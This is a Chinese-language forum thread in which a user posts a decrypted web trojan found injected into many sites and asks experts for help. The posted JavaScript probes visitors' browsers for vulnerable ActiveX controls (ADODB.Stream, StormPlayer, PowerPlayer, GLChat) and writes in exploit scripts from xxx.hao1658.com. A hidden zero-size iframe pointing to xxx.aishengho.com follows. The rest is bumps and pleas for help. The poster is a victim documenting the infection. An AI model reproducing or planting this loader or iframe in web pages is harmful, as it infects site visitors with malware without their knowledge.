<script>function init(){document.write();}window.onload = init;</script>
<script>
if(document.cookie.indexOf('OK')==-1){
try{var e;
var ado=(document.createElement("object"));
ado.setAttribute("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC"+"29E36");
var as=ado.createobject("Adodb.Stream","")}
catch(e){};
finally{
var expires=new Date();
expires.setTime(expires.getTime()+24*60*60*1000);
document.cookie='OK=Yes;path=/;expires='+expires.toGMTString();
if(e!="[object Error]"){
document.write("<script language=javascript src=http:\/\/xxx.hao1658.com\/wm\/11.js><\/script>")}
else{
try{var f;var storm=new ActiveXObject("MPS.StormPlayer");}
catch(f){};
finally{if(f!="[object Error]"){
document.write("<script language=javascript src=http:\/\/xxx.hao1658.com\/wm\/bb.js><\/script>")}}
try{var g;var pps=new ActiveXObject("POWERPLAYER.PowerPlayerCtrl.1");}
catch(g){};
finally{if(g!="[object Error]"){
document.write("<script language=javascript src=http:\/\/xxx.hao1658.com\/wm\/ppp.js><\/script>")}}
try{var h;var ourgame=new ActiveXObject("GLCHAT.GLChatCtrl.1");}
catch(h){};
finally{if(h!="[object Error]"){
document.write("<script language=javascript src=http:\/\/xxx.hao1658.com\/wm\/lz.js><\/script>")}}
}}}
</script>


这个是解密后的木马程序

主要是这个xxx.hao1658.com,很多网站被挂这个木马啊<iframe src=http://xxx.aishengho.com/28.htm width=0 height=0 border=0></iframe>                                                         

太害人了，有高手出来解决下啊

[用户系统信息]Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; i-NavFourF; .NET CLR 1.1.4322; .NET CLR 2.0.50727; Alexa Toolbar; MAXTHON 2.0)

解密地址：http://www.xkww.com/webtool/winwebmail.htm

密码应该是 1234
高手跟进下啊 ，解决 下啊 ，这个网站木马非常麻烦
一会有一会有消失

就是看网站源文件的时候，请高手继续关注啊

顶上去,高手出招啊

UP

这么大一个论坛，没一个高手啊